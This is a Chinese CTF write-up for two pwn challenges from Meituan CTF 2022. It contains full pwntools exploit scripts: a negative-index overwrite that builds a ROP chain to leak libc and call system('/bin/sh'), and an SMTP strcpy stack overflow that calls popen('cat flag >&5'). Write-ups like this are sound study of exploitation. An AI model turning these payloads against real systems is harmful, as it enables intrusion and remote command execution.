0%

MTCTF2022初赛-pwn

美团CTF2022初赛pwn

note

编辑堆块内容时idx可输入负数,而堆块的控制结构是保存在栈上的,往地址找二级指针即可覆盖返回地址写rop了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *
binary = "./pwn"
elf = ELF(binary)
libc = elf.libc
ip = '39.106.27.2'
port = 45124
local = 1
if local:
io = process(binary)
else:
io = remote(ip, port)

#context.log_level = "debug"

def debug():
gdb.attach(io)
pause()

s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda text, data : io.sendafter(text, data)
sla = lambda text, data : io.sendlineafter(text, data)
r = lambda : io.recv()
ru = lambda text : io.recvuntil(text)
uu32 = lambda : u32(io.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
lg = lambda data : io.success('%s -> 0x%x' % (data, eval(data)))
ia = lambda : io.interactive()
_flags = 0xfbad1800

def menu(n):
sla(b'5. leave', str(n))

def add(size, con = b'a'):
menu(1)
sla(b': ', str(size))
sa(b': ', con)

def edit(idx, con):
menu(3)
sla(b': ', str(idx))
sa(b': ', con)

pop_rdi = 0x4017b3
start = 0x401679

payload = b'a' * 8 + p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(start)

'''gdb.attach(io, 'b* 0x40157F')
pause()'''
edit(-6, payload)
libcbase = uu64() - libc.sym['puts']
lg('libcbase')

sys_addr = libcbase + libc.sym['system']
sh = libcbase + libc.search(b'/bin/sh').__next__()
ret = 0x40101a

payload = b'a' * 8 + p64(ret) + p64(pop_rdi) + p64(sh) + p64(sys_addr)
edit(-6, payload)
ia()

#flag{2cc46b7a-67ab-47a0-9575-7bd938da3ad6}

stmp

一道stmp协议题

漏洞在sender_worker函数中

a1的长度大于0xff即可进行一次strcpy,经过调试可以发现a1为输入的RCPT TO:所拼接的字符串,这里是我们可控的,所以只要进入这里就可以进行栈溢出了

要进入这个函数也只需要在输入完data之后即可

接下来构造payload

1
payload = b'a' * (0x10c + 4) + b'b' * 4

此时会发现函数返回地址虽然被覆盖了,但是程序提前crash了,而不是执行到我们的返回地址

跟进去调试

image-20220930154304212

从这里可以知道ebp - 0xc的位置应该填充为一个可访问的地址

更新payload

1
payload = b'a' * 0x100 + p32(0x8049024) + b'a' * 0xc + b'bbbb'

image-20220930155044508

成功执行到返回地址

接下来就是尝试拿shell或者想办法输出flag了,这里构造rop getshell是不可能的,因为泄露的libc地址只会在服务端输出

我们利用popen函数 + 重定向来获得flag

popen函数可以执行任意命令,只需要构造payload让程序执行popen('cat flag >& 5', 'r')即可获得flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *
binary = "./pwn"
elf = ELF(binary)
ip = '127.0.0.1'
port = 12345
local = 0
if local:
io = process(binary)
else:
io = remote(ip, port)

#context.log_level = "debug"

def debug():
gdb.attach(io)
pause()

s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda text, data : io.sendafter(text, data)
sla = lambda text, data : io.sendlineafter(text, data)
r = lambda : io.recv()
ru = lambda text : io.recvuntil(text)
uu32 = lambda : u32(io.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
lg = lambda data : io.success('%s -> 0x%x' % (data, eval(data)))
ia = lambda : io.interactive()
_flags = 0xfbad1800

def hello():
sla(b'220 SMTP tsmtp', b'HELO')

def mailfrom(con):
sla(b'250 Ok', b'MAIL FROM:' + con)

def RCPT(con):
sla(b'250 Ok', b'RCPT TO:' + con)

def DATA(con):
sla(b'250 Ok', b'DATA' + con)

def END():
sl(b'.\r\n')

hello()
mailfrom(b'cat flag >&5')
a = elf.search(b'r\x00').__next__() #b'r\x00'
bss = 0x804D140
payload = b'a' * 0x100 + p32(0x8049024) + b'a' * 0xc + p32(elf.plt['popen']) + p32(0xdeadbeef) + p32(bss) + p32(a)
RCPT(payload)
DATA(b'bbbbb')
END()
ia()

image-20220930161338873

成功获得flag